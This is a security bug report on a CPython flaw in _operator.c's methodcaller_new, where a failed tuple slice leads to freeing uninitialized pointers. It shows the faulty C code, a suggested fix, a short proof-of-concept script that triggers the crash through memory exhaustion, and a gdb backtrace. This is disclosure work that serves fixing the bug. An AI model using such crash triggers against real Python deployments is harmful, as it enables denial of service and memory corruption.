Thomas E Hybel reports:
This vulnerability exists in /Modules/_operator.c in the function
methodcaller_new.
Here is the problematic code:
mc = PyObject_GC_New(methodcallerobject, &methodcaller_type);
if (mc == NULL)
return NULL;
newargs = PyTuple_GetSlice(args, 1, PyTuple_GET_SIZE(args));
if (newargs == NULL) {
Py_DECREF(mc);
return NULL;
}
We first allocate an "mc" object. Then we call PyTuple_GetSlice. If that fails,
e.g. because we're out of memory, then we call Py_DECREF(mc). But mc's variables
have not been initialized yet. methodcaller_dealloc will therefore free several
arbitrary pointers.
This could be fixed by setting mc's member variables to NULL right after
allocating it.
Proof-of-concept script:
--- begin script ---
import operator
args = ("AAAA",)*0x10000000
ag = operator.methodcaller(*args)
--- end script ---
(Note that this PoC only works if the machine runs out of memory at the right
time; you may have to experiment with the size of "args." This was tested on a
32-bit box, therefore it had a small address space.)
Here's the crash and backtrace:
(gdb) r ../poc10.py
Starting program: /home/ubuntu32/python3/Python-3.5.2/python ../poc10.py
Program received signal SIGSEGV, Segmentation fault.
0x081d4255 in methodcaller_dealloc (mc=mc@entry=0xb7c31b94) at ./Modules/_operator.c:976
976 Py_XDECREF(mc->name);
(gdb) p mc->name
$3 = (PyObject *) 0xcbcbcbcb
(gdb) bt
#0 0x081d4255 in methodcaller_dealloc (mc=mc@entry=0xb7c31b94) at ./Modules/_operator.c:976
#1 0x080e4bff in _Py_Dealloc (op=op@entry=0xb7c31b94) at Objects/object.c:1786
#2 0x081d361a in methodcaller_new (type=0x82f0200 <methodcaller_type>, args=0x37c2d024, kwds=0x0) at ./Modules/_operator.c:956
...
|